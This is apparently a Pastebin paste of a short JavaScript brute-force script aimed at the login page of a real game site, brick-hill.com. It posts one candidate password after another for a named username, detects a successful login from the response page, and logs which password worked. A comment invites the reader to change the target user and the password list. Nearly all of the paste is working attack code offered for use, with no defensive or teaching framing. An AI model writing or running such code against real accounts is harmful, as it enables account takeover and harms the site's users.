Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Bruteforce(user, arr) {
- this.success = false;
- this.index = 0;
- this.start = function() {
- console.log(`%cAttempting to bruteforce ${user}`, 'color: green');
- bruteforce.force();
- }
- this.force = function() {
- if (!bruteforce.success) {
- $.post('https://www.brick-hill.com/login/', {username: user, password: arr[bruteforce.index], ln: "Login"}).done(function(data) {
- if ($('#welcome', data).length) {
- console.log(`%cSuccessfully bruteforced ${user} with the password ${arr[bruteforce.index]}`, 'color: green');
- bruteforce.success = true;
- } else {
- if (bruteforce.index == arr.length - 1) {
- console.log(`%c${arr[bruteforce.index]} failed, bruteforce failed.`, 'color: red');
- } else {
- console.log(`%c${arr[bruteforce.index]} failed, trying again.`, 'color: red');
- }
- }
- if (arr.length > (bruteforce.index + 1)) {
- bruteforce.index++;
- bruteforce.force();
- } else {
- console.log(`%cBruteforce finished`, 'color: green');
- }
- });
- }
- }
- }
- var bruteforce = new Bruteforce('brick hill', ["testing", "password123", "lololol", "brickhilladmins3"]); // Change the first argument to the user u want to bruteforce, second argument is an array of passwords to try
- bruteforce.start(); // Initializing the bruteforce
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement